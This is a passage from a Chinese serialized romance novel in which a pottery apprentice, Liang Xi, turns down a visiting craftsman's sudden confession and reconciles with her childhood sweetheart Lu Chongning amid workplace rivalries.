“谢谢,你吃了吗?”
“吃了。”
梁喜给许京平拿了瓶水,让他坐到老王专门招待客人的茶台处。
“昨天遇见那个男生”
“信航啊?怎么了?”
梁喜打开餐盒,看见两个烧麦,她特别爱吃,许京平买得还挺合她口味。
“是你男朋友吗?”
“不是跟你说过嘛,我没男朋友,他是我发小。”
“噢。”
许京平拧开水瓶喝了一口,清清嗓子,问:“那我可以追你吗?”
咬着烧麦的梁喜愣住了,哪个男的刚见第二次就表白?哪个男的在吃早餐的时候表白?
反正她没见过
“许京平,我把你当前辈。”
“没开玩笑,我确实喜欢你,一见钟情的那种喜欢。”
昆明一别,许京平回家想了好几天,每每想起梁喜,他既开心又难耐,所以迫不及待赶来化城,打着学术交流的名义。
梁喜吃了口烧麦,试图装傻,“嗯,这个好吃。”
“我问的王老师,他说你爱吃烧麦。”
“你还问什么了?”
“追上你的希望大不大。”
这时门打开,周靖哲走进工作室,他的出现严重影响了许京平的告白进度。
第28章 第二十八章 误拨出的电话。
“许老师, 您怎么来了?”
相比梁喜,周靖哲对许京平说话相当客气。
许京平招招手,“好久不见, 靖哲。”
周靖哲瞄了一眼梁喜, 问:“你俩也认识啊?”
梁喜从嗓子挤出一句“嗯。”
没多解释。
自从上次路崇宁帮忙找到监控画面后梁喜对周靖哲的态度一直很平淡,不刻意冷漠, 也没半分热情, 但周靖哲应该感觉到了什么, 最近没惹梁喜。
“许老师您喝茶吗?我这有新买的茶叶。”
梁喜知道, 他刚买回来的时候特意拿到大家面前, 说五百多一小盒,结果显摆完谁也没给谁喝。
“不了,梁喜给我拿了水, 谢谢。”
周靖哲再次示好,“您到楼上坐吧,安静。”
他说着要把许京平往楼上请。
“没事,我在这和梁喜聊会儿天。”
梁喜靠着椅背, 好整以暇地看着周靖哲, 边看边吃。
她自觉眼神平常, 可在周靖哲看来她不但沾沾自喜, 还有些挑衅。
自讨没趣, 周靖哲灰溜溜走了, 等他离开,许京平说:“你和周靖哲关系怎么样?”
“一般同事。”
“那就好, 你离这个人远点,他心机很深,而且滑头。”
“昂。”
虽然梁喜了解周靖哲的为人, 但不了解许京平,这话从外人嘴里说出来梁喜有点不敢附和,即便他刚表白过
“我吃饱了,谢谢你的烧麦。”
梁喜把塑料袋揉成一团,扔进垃圾箱。
“客气。”许京平摘下眼镜,问梁喜:“有眼镜布吗?”
“有。”
梁喜把自己的眼镜布找出给他,摘下眼镜的许京平少了些斯文,眉眼多了份凌厉。
“谢谢。”他接过,擦完又还给梁喜。
“你先坐,我去忙了。”
许京平紧跟着站起来,“我能旁观吗?”
“啊”梁喜有点犹豫,“你还是这等我师父吧,他马上来了,让他带你参观。”
“好。”
许京平明显失落,又坐回去。
这时门打开,梁喜以为是师父,回头却发现是外卖员,他问:“喜女士在吗?”
“我是。”
平时梁喜订外卖留的名字是“喜喜”,名隐藏,默认第一个字是姓,就变成喜女士了。
“您的外卖。”
袋子递过来骑手转头就走,分秒必争。
梁喜打开袋子,看见里面有三个餐盒,粥,馅饼,还有两个茶叶蛋。
“谁给你订的早餐吧。”许京平说。
梁喜笑笑,没说什么,拿到后屋去了。
外卖应该不是信航订的,他向来做好事留名,要是他定的,没等送到就跟梁喜说了,更不会是路崇宁,昨晚在咖啡店门口闹不愉快后梁喜再没和他讲过一句话,排除法之后梁喜猜不到还能有谁
九点钟,老王终于来了,今天没骑电驴,而是又开了车,一辆九成新的奥迪,他平时很少开,可能因为有客人,为了面子上好看。
老王和许京平在楼下喝了两杯茶之后带他四处参观,走到二楼梁喜身边时他停下来,对老王说:“王老师,我想在这看会儿可以吗?”
老王人精一个,昨晚吃饭时看出些许猫腻,正好梁喜没男朋友,他很乐意撮合,于是笑呵呵应了声,让许京平随意,他出去办点事,中午回来一起吃饭。
“这里的线条有点硬。”
许京平说完坐下,指导梁喜修改,他进入到工作状态后一改之前的玩味模样,认真得有些严肃。
等梁喜改完听到他说:“不对,重来。”
“”
梁喜感觉自己旁边好像坐着一个班主任,而且十分不讲情面,就这样她前前后后改了差不多四次才终于换来许京平的微微点头。
“还可以,及格了。”
这是他的评价。
梁喜长出一口气,及格离高分还有段距离,看来得多加练习。
许京平指导梁喜期间另外两个姐姐和周靖哲也跟着旁听,时不时问个问题,许京平都耐心回答,但转头指导梁喜时又很严厉,和早餐时表白的人完全不同,搞得梁喜有点分裂。
“我去下洗手间。”
梁喜起身从许京平身后过去,刚才保持一个动作好久,她感觉肩膀酸痛,急需舒展一下。
上完厕所,手机被梁喜随手放进围裙口袋,到后院做了一套摸鱼版广播体操才回去。
走到工作间门口,梁喜见那仨人把许京平围住,正兴冲冲地讨教,许京平见梁喜进来,特意挪了下梁喜的椅子,周围人见了忙散开距离。
“没事,你们继续。”梁喜坐到另一边。
“我给他们讲完了。”许京平冲梁喜勾勾手,“你过来,我教你昨天你要学的那种方法。”
梁喜眼睛一亮,说这个她可不困了啊。
绕过桌子坐回原位,那三人挨个退出去,最后一个姐姐还把门关上了,工作间一时只剩下梁喜和许京平俩人。
一碰黑陶,许京平又恢复那副让梁喜陌生的模样,十几分钟的讲述,大篇幅的专业内容,梁喜听得很认真,要不是怕他觉得自己笨,梁喜真想找个本子记下来。
等许京平讲完已将近中
午,梁喜打算不吃饭了,多练一会儿,如果饿了就把早上的外卖热一热,虽然还不知道谁买的。
“你现在开始做成品了吗?”
“简单一点的,师父会让我做。”
“那其余时间呢?在工作室打下手吗?”
“嗯。”梁喜头也不抬,刻得认真。
“手别抖。”
梁喜平平气稳住。
“我指导你一下?”
许京平犹豫着伸手,见梁喜没拒绝,直接覆上去,攥着她的手,一点点沿着脑子里预设的弧度雕刻。
突然工作间门打开,“砰!”地一声,梁喜猛然抬头,看见路崇宁站在门口,胸腔起伏,有些气喘吁吁,两人视线对上,他撑门的手紧握成拳,猛地扬起,又隐忍一般地轻轻落下,转头离开,等梁喜反应过来去追的时候路崇宁已经不见踪影,她只在路边只看见一辆刚刚远去的车。
什么情况?路崇宁开车来的?
梁喜有点蒙,掏出手机要给路崇宁打电话问清楚,可打开通话记录,发现最上面有个今天给路崇宁拨出的电话,通话时长二十多分钟,点开详情发现刚挂断。
梁喜确定这不是她有意识拨出的电话,难道不小心触碰了?
想到这梁喜好像明白了路崇宁刚才的一系列举动,她误拨的电话没有声音,路崇宁担心她出事,所以才赶过来。
梁喜知道路崇宁误会了,可即便误会,为什么一声不吭就走?还是觉得梁喜在耍他?
如果是后者,梁喜觉得非常有必要解释,她给路崇宁发信息,“不好意思,不小心碰到拨出去了,一直在忙,没发现。”
消息没回,梁喜意料之中。
算了,今天和昨天一抵一,扯平。
梁喜打蔫一样,耸拉着脑袋走回工作间,许京平正站在窗口向外望。
“你哥没事吧?”他问。
“没事。”
梁喜坐回去拿起刻刀,脑子里却一片空白。
许京平又回到梁喜身边,问:“路崇宁跟你有亲戚关系吗?”
梁喜抬头,转瞬又低下,“你觉得呢?”
“他喜欢你?”
“不喜欢。”
许京平一副看破的神情,“可你喜欢他,对吧?在昆明的时候你俩住一间房,我看见了。”
刚才还在躲闪的梁喜突然直视许京平,“对,我喜欢他。”
说完转动刻刀接着练,她这人一向如此,该怂的时候绝对不怂,尤其许京平还莫名其妙表白了,梁喜正面承认喜欢路崇宁,既不违心,又驳了许京平的情。
“你是一点不怕我伤心啊。”
梁喜笑笑,“你又不是我喜欢的人,为什么怕你伤心?”
话虽然不好听,但确实在理。
许京平佯装平静,“没事,我不在意。”
“那就不是真心喜欢我。”
梁喜一边雕刻一边慢悠悠地说:“因为喜欢所以在意,两者是连带关系,没有喜欢自然不会吃醋。”
许京平被这个小姑娘搞得骑虎难下,也看见了她性格中某些锐利且真实的部分“好吧,我在意。”
这时周靖哲走进来,说:“梁喜,师父回来了,找你呢。”
“来了。”
梁喜手往围裙上抹了两把,跟着下楼
路崇宁把车开回公司,在停车场正好碰到阿布,她笑着走到路崇宁身旁,迎面却看到他的冷脸,从未见过,搞得她有点害怕。
“小宁哥,你怎么了?”
“没事。”
车钥匙扔给阿布,他往办公楼走。
“小宁哥,你驾照刚下来就开车啊,去哪了?”
“给我妹送点东西。”
“喜喜最近忙吗?”
路崇宁眼前闪过许京平手把手教梁喜的画面,那只手他也只碰过几次而已
“忙,特别忙。”
他掏出烟点着,边走边抽,步子迈得大而急促,阿布在身后跟着有点费劲。
突然他停住脚,转头问阿布:“刘总开完会了吗?”
“开完了。”
路崇宁赶紧裹两口烟,在进办公楼前掐掉。
十分钟后路崇宁开车带刘俊华前往游乐场项目。
“崇宁,车开得顺手吗?用不用给你换辆新的?”
“挺好的,刘总。”
“开得别太猛,安全重要。”
“好”路崇宁放缓速度。
“以后这辆车给你上下班开。”
路崇宁有点受宠若惊,赶忙拒绝:“不了,我坐通勤车就行。”
他这人既不会向别人施与无缘无故的善意,同理也不会轻易接受别人的施与。
“让你开你就开,这点小事拒绝啥,反正车闲着也是闲着,你听我的,车什么保险都有,剐蹭什么直接报销,别自己垫钱听到没?”
路崇宁张张嘴,知道再拒绝不好,只能点头答应。
车开到游乐园建址,几个项目负责人把刘俊华围住,路崇宁落了清闲,一个人到项目上随便走走。
这里已经完全没了昔日情景,甚至地面也毫无痕迹,只有远处那片树林提醒着路崇宁,这里是他原来的家。
在项目规划图上,树林那侧方向是摩天轮,等建好后坐在摩天轮上就能俯视整片树林,不论是夏季青葱,还是冬季白雪,都能一览无余。
这个项目属于政府扶持工程,一是提供市民公共福利,二是为了发展林业新区,刘俊华在拿到其余地块盖商品房以外还得把这个游乐园盖好,硬指标,必须完成。
走到一处水泥罐车旁,路崇宁看到一个男人没戴安全帽,刚要提醒一句,发现男人有点眼熟,他绕到死角又看了看,终于确认男人就是之前在小区超市打工的周胜。
超市老板娘说周胜家里有事,工资没要就走了,怎么转眼又到工地来了?
路崇宁仔细回想,项目上所有人的档案资料他那都有,相关负责人他全部熟悉,具体到下面的人虽然不能对号入座,但也有名单。
打开手机里存的文档,搜索周胜的名字,果然找到了。
只是竟然不是临时工?
路崇宁心里存疑,他得留心这个人的动向。
第29章 第二十九章 冷战以同床共枕告终。……
晚上下班, 梁喜没直接回家,而是去了崔影那。
她心情不好,因为路崇宁一直没回信息, 他可以误会, 但不能不理她,或许想法有点霸道, 但在这种事上她根本不想讲理。
崔影正在吧台算账, 戴着眼镜, 手指敲计算器噼里啪啦, 十足的老板娘模样, 梁喜没打扰她,往角落里一猫,要了杯喝的, 边喝边发呆,店里服务员都认识她,没人催促她点单。
崔影算完账发现梁喜,摘掉眼镜赶忙过去, 坐到她对面, “你怎么来了?也不告诉我。”
“想你了。”
“我看你是馋酒了吧?”
“没有。”
梁喜不馋酒, 倒是想借酒消愁。
崔影叫服务员过来, “给喜喜拿瓶米酒, 再来一个辣白菜五花肉, 紫菜饭团。”
说完问梁喜,“够不够?”
“吃不了。”
“我陪你吃。”
“行。”
崔影看出梁喜兴致不高, “怎么啦?心情不好呢。”
“馋了。”
“撒谎。”
梁喜眼神飘忽,“你们做生意的,嘴上这么不饶人啊。”
“你不对劲。”
梁喜顺着崔影的话说:“我可太不对劲了。”
“工作室谁欺负你了吗?”
提起工作室, 梁喜想起白天发生那一幕,“今天来了一个我师父的客人,之前我去昆明开学术交流会的时候他和我是同桌。”
崔影双眼冒光,“然后呢?”
“他说喜欢我。”
崔影迅速捕捉重点,“长得怎么样?”
梁喜眼前不断闪现许京平的斯文模样,给出中肯评价,“还不错。”
崔影继续刨根问底,“家庭条件好不好?”
“应该可以吧,家里几辈做黑陶生意的。”
“你什么想法?”
梁喜
咬咬嘴唇,“你说他是不是耍我?哪有第二次见面就表白的?”
“喜喜,有个词叫一见钟情。”
“上一边去。”
崔影摆正坐姿,“我说真的,要是条件好的话试着接触接触呗,跟你还有共同话题,不至于尬聊。”
梁喜低头,沉默半晌,说:“我心里有个忘不掉的人。”
“我知道。”崔影一副笃定又神气的模样,“路崇宁嘛。”
梁喜惊讶抬头,一瞬间脸颊绯红。
“都写你眼里了姐姐,高中时我就看出来了,青春期男男女女的爱意哪藏得住。”
梁喜彻底蔫了,以前想方设法瞒着,人累心累,今天跟许京平说完感觉轻松不少,既然已经告诉了许京平这个外人,没必要再对崔影隐瞒,没想到她早已看破一切。
“没事的,姐妹,我理解,守着那么个帅哥能心如止水才怪,谁信你把他当亲哥啊。”
“”
“路崇宁对你啥意思?”
“没意思。”
“瞎了眼了他。”
前两秒还夸路崇宁帅,转瞬又变成瞎眼了?这位崔女士还真是护短。
“你要想追他,我帮你想办法。”
梁喜拧开瓶盖,喝几口酒壮胆,继续如实招来,“追过,高中那会儿,等他考上大学才答应我,后来他出国,我就和他分手了。”
“你俩处过?!!!”
崔影音量抬高好几倍,足以让整个店都听见,梁喜瞪她一眼,“小点声,还嫌我不够丢人。”
“梁喜,你连我都瞒,长能耐了!”
“我谁也没告诉”
崔影没再纠结瞒不瞒的事,“为啥分手啊?”
梁喜空嘴喝了口酒,“岁数小,想不通,觉得他走了就是不想和我在一起,索性我先提,怕被甩。”
“那他现在回来和你旧情复燃啊?”
“复燃个屁,他只是在我家住。”
“你还喜欢他,是吧?”
梁喜转着酒瓶,目光虚空落在上面,“我一直觉得距离足以让人分辨一份感情是不是爱,这些年我心里只有路崇宁一个人,如果这都不算,那我应该没什么爱人的能力了。”
崔影跃跃欲试,“你就说你想不想复燃吧?我帮你。”
“怎么帮?”
“那还不简单,一会儿你假装喝醉,我给路崇宁打电话,让他来接你。”
梁喜推开酒瓶,坐正,“别折腾他了,明天还得上班。”
“哦呦~心疼了?不让他来接你,留着时间接别的女人呐?”
确实是这个理,但梁喜一向不喜欢强求,刚要摸酒继续喝,被崔影一掌打回去,“谁让你真喝醉了?傻,装醉懂不懂?”
哎,梁喜改拿筷子,事已至此,先吃饭吧
解决掉五花肉和饭团,店里食客还剩三桌,梁喜摸摸肚子,感觉到量了,把筷子放下,说:“吃饱了。”
“等着,我给路崇宁打电话,让他来接你。”
“崔老板,路崇宁比你还大一岁。”
“啥意思?”
“小把戏根本骗不了他。”
崔影指着酒瓶,“你再喝几口。”
梁喜已经喝了半瓶,无所谓全喝完,她仰头几口干到底。
“手机给我。”
“干嘛?”
“给我,信我一回,快点。”
虽然半信半疑,但梁喜还是把手机解锁递给崔影。
找到路崇宁电话,崔影拨出去。
不知是酒劲上来,还是紧张,梁喜感觉心快跳到嗓子眼儿了。
“喂,路崇宁,我是崔影。”
“在家吗?”
“喜喜喝多了,你来接一下吧。”
“好,等你啊。”
放下电话,崔影拍拍手掌,说:“搞定。”
她起身从旁边没收拾的桌上拿了几个空酒瓶摆到脚下,梁喜知道她想干嘛,做戏做全套,否则桌上只有一个酒瓶怎么骗路崇宁。
等崔影折腾完,看着梁喜,说:“我给你把路铺平,接下来就看你的了。”
梁喜自谦,“我演技不行。”
“快拉倒吧,上学那会儿你装病向宋老师骗假条都能拿奖了,你装吧,我去外面给你把风。”
崔影开门才发现外面下雨了,挺急,刚才看还没下呢,她叫服务员赶紧把门口怕雨淋的东西收进店里。
梁喜一个人坐着,又开了瓶酒喝,喝着喝着先趴下了,她心情不好的时候喝酒很容易醉,今天也不例外。
过了一会儿路崇宁终于赶来,他顶着雨,没拿伞,脸上身上都被雨淋湿了。
“路崇宁,你来啦!”
崔影故意在门口喊得大声,好让梁喜听见。
“喜喜呢?”
“里边。”
路崇宁没顾得上接崔影递过来的纸巾,刚要往里冲,却被她拽住,“等等,我有话跟你说。”
崔影把他拽远点,又看了眼梁喜,说:“我是你这边的。”
路崇宁大约知道崔影什么意思,却没接茬。
“有个男人追喜喜你知道吗?”
路崇宁眼前闪过许京平的脸,冷淡地点点头。
“据说条件不错,模样也可以。”
事实如此,路崇宁没法否认。
“反正我告诉你了哈,该怎么办你心里有数。”
他淡淡一句,“跟我没关系。”
没关系?崔影忽然笑了,拿手指戳空气,“行啊!你最好一直保持这个态度,以后笑着参加喜喜的婚礼。”
她想把事情说得再严重一些,好激发路崇宁的男人斗志,可他直接奔梁喜那边去了,根本不搭茬。
走到桌旁路崇宁停下,盯着梁喜看几秒后突然踢了下桌角,“起来。”
“”
“梁喜。”
路崇宁直呼大名,崔影听得心一揪,什么情况?
他转头看向崔影,“醉了吗?”
崔影没想到路崇宁这么难骗,吱唔道:“当然醉了。”
“是嘛。”路崇宁桌上桌下看了眼,“三瓶啤酒,一瓶米酒,梁喜的酒量,你不知道还是我不知道?”
他又踢了下桌角,梁喜皱着眉哼唧一声,还是没起来。
崔影上前用力推了路崇宁一把,“她心情不好,喝醉了,你要是不想接可以不来,干嘛呀这是!”
崔影满脸心疼,说话有点不客气。
“围裙借我一下。”
崔影以为他良心发现,要帮店里干活,“不用了。”
“借我。”
崔影不明所以,解下来给他。
只见路崇宁扶起梁喜,用围裙裹住她的头,然后抱起来,问崔影:“结账了吗?”
“结什么账,赶紧走,下雨呢。”
“谢谢。”
路崇宁将梁喜抱到店外,门口停着一辆私家车,他让崔影帮忙开车门,崔影虽然不清楚车是谁的,但还是照他话做。
在路崇宁离开之前,崔影不忘趁乱偷拍几张,被围裙裹住头的梁喜充满喜感,估摸怎么也能敲诈十块钱。
回到店里,服务员凑过来问崔影,“发生啥事了?”
崔影捻了一颗爆米花扔进嘴里,笑着说:“一对青梅竹马即将破镜重圆,等着看好戏吧。”
服务员脸上露出想要“开会员”的欣喜,迫不及待追到结局
什么时候断片的梁喜完全没印象,只感觉迷迷糊糊有人抱她,往后一片空白,等醒来时身旁一片漆黑,她翻了个身,腿好像碰到什么东西,伸手去摸,发现是人。
梁喜惊得半起身,借着窗帘透过来的光亮看了看,这才确认是路崇宁,熟悉的气息骗不了人。
两人躺在一张床上?不知觉心跳加快,如响鼓重锤,梁喜一下精神了,她认真辨认方位,发现窗户方向不对,不是她的房间,而是路崇宁那屋。
在心脏跳疯前梁喜做了个决定,她要假装什么也没发
觉,只有假装才能保持现在的状态度过今夜。
梁喜慢慢躺下,头枕到一个硬邦邦的东西,是路崇宁的胳膊
她没动,怕给路崇宁吵醒,更怕他知道自己醒了,还赖在原地不走。
雨后清新的风从窗户缝隙涌进来,月亮西斜,隐在云朵之后,路崇宁借着窗外微光看向梁喜背对他的肩膀,慢慢合上眼睛。
第30章 第三十章 慢走再见,欢迎下次光临。……
一早, 梁喜坐马桶上刷手机,崔影发过来好几条信息,全是问昨晚的进展情况。
“回家倒头就睡, 啥情况没有。”
崔影回了一个失望的表情, 然后说:“我告诉路崇宁有个条件好的男的追你,不过我没说是谁。”
“他什么反应?”
“没啥反应, 估计着急带你回家吧。”
原话崔影不可能告诉梁喜, 怕她伤心, 昨晚路崇宁的情绪不太好, 但崔影不介意, 毕竟不是故意冲她。
梁喜打字过去,“路崇宁最近都在咖啡店打小时工。”
“啊?多累啊,一天工作十几个小时。”
“可能想多赚点钱吧。”
“也是, 他爸妈没了,以后都得靠自己。”
崔影的话让梁喜感觉心酸,一早上心情沉重,不想吃饭, 蹬自行车都比以往慢了许多
听老王说许京平要在工作室待几天, 梁喜有点担心, 毕竟他刚告白过, 万一说点什么越界的话被其他同事听见, 免不了在背后议论。
可今天一天结束, 梁喜的担心完全没发生,许京平只是待在这, 尽所能地教大家一些他所掌握的理论和技巧,并没和梁喜多刻意亲近,相比之前追她的男人有点不一样。
许京平好像摸到了一点梁喜的脾气, 知道蓄意的肢体接触或者示好会让梁喜反感,与其那样,还不如保持适当距离。
下班前梁喜收到路崇宁发来的信息,“在工作室等我,去接你。”
打破冷战的一方是他,梁喜终于松口气,“我骑车了。”
“我六点前到。”
今早梁喜醒的时候路崇宁已经走了,成功避免了尴尬,梁喜想,如果路崇宁不主动提,她也不会提。
五点半,两位姐姐收拾下班,许京平和老王坐在一楼喝茶聊天,挨个跟离开的人打招呼,当老板的都没时间观念,尤其对下班时间很模糊。
梁喜一直待在楼上,等路崇宁说他到了才下楼。
“师父,我下班了。”
老王抬头,“你还没走呐?”
“嗯,我哥接我。”
老王朝外望,看见一辆车,问:“你哥买车了吗?”
透过门窗,梁喜也看见路崇宁从车上下来,可她清楚路崇宁没钱买,只能笑笑回应。
开门出去,梁喜没想到周靖哲也没走,跟出来先她一步和路崇宁打招呼,“哥,来接喜喜啊?”
“嗯。”
“买车啦?”
“公司的。”
有问有答,路崇宁对周靖哲的态度和之前没什么两样。
“喜喜,你哥对你真好。”
路崇宁倚着车门,烟刚抽出来叼嘴里,被梁喜一把抢走,“回家再抽。”
路崇宁一点不恼,反而笑了,一旁的周靖哲讨了没趣,转头回去了。
梁喜冲着他离开的背影白了一眼,问路崇宁:“哪搞的车?”
“公司的,老板给我开。”
相比骑自行车,梁喜对他开四个轮子莫名放心。
路崇宁的视线和工作室里的人交汇一秒,绕过车头坐进车里,从里面打开副驾驶门,梁喜上车,刚把烟塞回烟盒,见路崇宁回身从后面拿过一个抱枕扔她怀里。
抱枕很轻,但他力道不轻。
梁喜低头一看,“什么丑东西?”
“丑?”审美被质疑,路崇宁不淡定了,“你再好好看看。”
抱枕上的图案是兔子,梁喜就是属兔的。
她捏捏兔耳朵,瞬间改口,“刚才没看清,好可爱啊,你买的吗?”
“买袜子送的。”
梁喜“哼”了声,“来,我给你十块钱,你再去给我买几双袜子。”
车猛地开出去,晃得她差点把抱枕扔了
工作室里,老王看出许京平有些失落,安慰他说:“京平啊,喝茶。”
“嗯。”
“喜喜不好追吧?”
许京平扶了下镜框,“还没开始追。”
“那你得抓紧,看上我们喜喜的男生可多了。”
“她漂亮嘛。”
“性格也好啊!偶尔有点倔,无伤大雅。”
许京平放下茶杯,说:“王老师,我先走了,公司要开线上会议。”
“不留下吃饭啦?”
“改天。”
许京平拿上手机推门出去。
他住的地方是化城最贵的酒店,不过化城消费不算高,套房也才五百一晚,对他来说住多久都没问题。
回酒店路上,许京平想给梁喜发个信息,又不知道说什么好,思来想去,为保险起见,还是先跟梁喜聊点关于黑陶的东西吧,因为两人之间只有黑陶这个话题才能引起梁喜的兴趣,见机再问点别的,好显得不那么突兀
车上,梁喜抱着抱枕,手指不停地敲手机键盘,路崇宁时不时瞥一眼,一眼胜过一眼的冷。
“晚上吃什么?”他问。
“都行。”
“喝西北风?”
“嗯。”
梁喜根本没听清,还在跟许京平讨论他发的那张黑陶作品,上面的孔雀图案雕得特别漂亮,一下就吸引了她。
“崔影说有个男的追你。”
梁喜终于放下手机,“昂。”
“许京平吗?”
“也不算追,他就说对我一见钟情。”
梁喜忽然想到昨晚,本来想记崔影一功,可她今天发来一张照片,说围裙是路崇宁亲自为梁喜围上的,与她无关。
结果功过相抵
“他来化城干什么?”
“找我师父。”
“是吗?”
梁喜转头看他,“路崇宁,你今天怎么有点阴阳怪气呢?”
他调转方向盘,没回应。
梁喜解释说:“许京平家在德城,几辈都是做黑陶的,我师父有个独门手艺,估计他想学吧。”
“你师父会教吗?”
“不一定,非亲非故的,周靖哲在工作室好几年了,我师父毛都没透露。”
“他不配学。”
那倒是。
“如果许京平向你示好是为了得到老王信任,你小心点。”
梁喜一下恍然,之前她从未把两者往一起联系过,也是今天她才发现许京平好像对老王的独门手艺感兴趣。
她“嗯”了一声,转而捏着兔耳朵陷入沉思,她没有因为许京平不单纯的表白感到失落,而是她意识到离开了正式的职场,繁杂的人际关系依然如影随形。
关掉手机,梁喜仔细观察方向盘,她对车标没研究,问路崇宁,“这车什么牌子?”
“沃尔沃。”
“贵吗?”
“贵。”
“你小心点开,咱家赔不起。”
路崇宁扭向车窗那边笑了声,看起来开心又得意,梁喜不明白他的笑点在哪,“怎么了?”
“没什么,我注意。”
“都开这么好的车了,还去咖啡店打工吗?”
“车跟我没关系,该去还得去。”
梁喜想象那副画面,“你同事会不会以为你是什么富二代,到底层体验生活。”
“我不让他们看见就行了。”
梁喜被路崇宁送到小区门口,他没下车,说要去咖啡店打工。
“不吃饭吗?”
“来不及。”
梁喜下车,想到什么又转回来,指着抱枕说:“这个兔子,不准别人抱。”
她甩手将车门重重关上。
路崇宁看了眼“兔子”,又看向梁喜的背影,拍拍抱枕,掉头往咖啡店开
十五分钟后他把车停在咖啡店旁的侧街,进屋和老板打招呼。
老板叫“常涛”,是个大学毕业后回家创业的小年轻,比路崇宁小一岁,路崇宁做咖啡的手艺就是他教的,这份工作由孟相帆介绍
,说只要路崇宁晚上有空来做一两个小时即可,周末也可以来,看他时间安排。
路崇宁打完卡换上工作服,开始今晚的工作。
“小宁,吃饭没?”
“吃了,你呢?”
“有个三明治要过期,我给造了。”
“吃点热的。”
“没事,咱爸妈年轻那会儿冬天还总吃腌酸菜呢,现在身体倍棒。”
路崇宁刚在收银台前站好,店门打开进来一位顾客。
“你好,请问喝点什么?”
路崇宁抬头,撞上许京平的脸。
“一杯冰美式。”
“十九。”
许京平掏出手机,说:“上次我和喜喜喝咖啡多少钱?还你。”
“不用了。”
路崇宁指着收款码,“麻烦付一下,十九。”
许京平无奈笑笑,拎着电脑找地方坐。
等他离开,常涛好事一样凑过来,“认识啊?”
“嗯。”
“要不要送个小蛋糕?”
“点头之交,别浪费。”
这晚路崇宁工作到闭店,许京平也待到闭店,边喝咖啡边工作,中间还吃了一个三明治。
接下来两天,路崇宁早晚接送梁喜,许京平也像打卡一样晚上准时到咖啡店坐坐,没有过多交流,却像暗暗较劲一般。
离开前一晚许京平到点单台找到路崇宁,主动跟他搭话,“哥们儿,加个微信啊?”
路崇宁没说行还是不行,直接把二维码调出来放到许京平面前,加完好友又把手机收回,整个过程面无表情。
他知道许京平这个举动是冲梁喜,而不是对他本人感兴趣。
“我明天走。”
路崇宁抬头,看着他,“你是想告诉我你明天不来咖啡店吗?”
“我的意思是你可以暂时放松警惕。”
牛奶盒放到台面上,溅出几滴。
许京平双手一摊,“你看,你又用这种充满敌意的眼神看我,我是你妹的朋友,不是你的情敌。”
店长常涛忽然凑过来,一脸好奇问怎么了,路崇宁对许京平莫名笑了下,“慢走再见,欢迎下次光临。”
周五,许京平早上刚离开化城,路崇宁那边就发信息说公司有事不能接梁喜下班,她终于有机会把自行车骑回去,放在工作室门口都落灰了。
“喜喜,小许邀请咱们去他那边的厂区看看,你和靖哲都跟我去吧。”
“好啊,哪天?”
“下周,我让佩佩订机票。”
梁喜有点为难,“师父,我能坐高铁吗?”
“啊,我忘了,你不愿坐飞机,行,我跟佩佩说一声,咱们仨都坐高铁吧。”
“你俩坐飞机,我自己坐高铁就行,高铁时间长。”
“没事,三人一起。”
“谢谢师父。”
中午梁喜吃完饭,从二楼刚要下来,在楼梯拐角听到周靖哲和佩姐说话。
“梁喜一句要坐高铁,王师傅就连带着你也不能坐飞机,她怎么那么厉害呢?”
周靖哲冷哼一声,“人家是爱徒,比不了,坐高铁时间长不说,也很折腾,飞机多快。”
“要不你再和王师傅说说,让梁喜自己坐高铁行不行?”
“算了,你买票吧,别让师父觉得我事儿多。”
梁喜听到这转头蹑手蹑脚又回楼上去了,隔几分钟再下来,周靖哲已不在佩姐旁边,而是在窗下给老王冲洗他的小摩托。
“喜喜,我晚点给你们订机票哈!”
佩姐说完笑笑,梁喜却笑不出来,“谢谢佩姐。”
“没事。”
“最近没见姐夫过来接你。”
“他外出打工了,得年底才回来呢。”
梁喜在佩姐脸上见不到失落或难过,反而很欣喜,看来周靖哲把姐姐哄得很开心,但梁喜百分百确定周靖哲不是真心,而是在利用佩姐所能提供的一切利于他的资源。
据说佩姐老公是老王亲弟的儿子,所以才放心让她做收银,梁喜觉得老王应该不知道佩姐和周靖哲的事,否则不可能置之不理。
“喜喜还不处对象啊?”
“不急。”
“我像你这么大的时候孩子都一岁了。”
梁喜淡淡回了句,“我不喜欢小孩儿。”
佩姐被噎得说不出话,梁喜转头去后院了。
30-40
第31章 第三十一章 你看,我也没有很难搞。……
周六, 雨天,梁喜前一晚熬夜看了个日剧,伴着雨声直接睡到下午, 睡得昏天暗地, 啥也听不见。
睁开眼在床上滚了一圈,本来还不想起, 肚子实在饿得不行, 昨晚洗完澡扎头发的皮筋也不知道跑哪去了, 她懒得找, 下床想去厨房看有什么吃的。
“路崇宁。”梁喜开门习惯性喊一声, 得到回应后继续该干嘛干嘛。
自从那次尴尬过后,梁喜周末起床从卧室出来总要叫一声路崇宁的名字,以此确认他在不在家。
隔着半掩的门传来一句, “冰箱有给你打包的饭菜。”
梁喜闻话打开冰箱,果然看见一家菜馆的餐盒,她拿出来放桌上,转身走到路崇宁房间, 推开门, 问:“信航又找你出去吃饭了?”
“嗯, 你没醒, 就没叫你。”
路崇宁趴在床上, 梁喜看不到他的脸, 貌似在玩手机,她转身去热菜。
几分钟前刘俊华给路崇宁发来信息:“小宁, 今晚有空吗?来我家吃饭吧,正好我有点事想跟你聊聊。”
“有空,刘总您家地址在哪?”
那边很快发来一个定位和准确门牌号。
“好, 等去之前告诉您。”
路崇宁从卧室出来,见梁喜正在微波炉那热菜。
“够吃吗?”他问。
“也不看看你俩剩了多少。”梁喜还不怎么清醒,懒得跟他掰扯,“晚上接着吃吧。”
“我晚上有饭局。”
梁喜抬头,拨开挡眼的头发,“不去咖啡店吗?”
“明天去。”
本来梁喜还想晚上约崔影去那个咖啡店坐坐,既然路崇宁今天不在,还是改天吧。
“叮~”微波炉旋转的声音停止,路崇宁先梁喜一步摸到微波炉,“躲开。”
梁喜往旁边挪了一步,热气腾腾的饭盒被路崇宁拿出来。
“皮这么厚,不怕烫啊?”
梁喜问话间路崇宁已经把餐盒端到桌上了,他搓搓手指,嘴硬回道:“不烫。”
一共两个菜,椒盐水煮鱼和蹄筋,份量比较大,此时散发着阵阵热气,梁喜刚吃一口,路崇宁坐到旁边,说:“蹄筋看着不错。”
“你没吃啊?”
他淡定撒谎,“没吃。”
梁喜夹了一块,他探头,张嘴接过,嚼了两下,没表态。
“鱼要吗?”
“你吃吧。”
路崇宁起身又拿了一双筷子,往出挑水煮鱼里的麻椒粒,他安静挑着,不说话,可在梁喜看来胜过千言万语
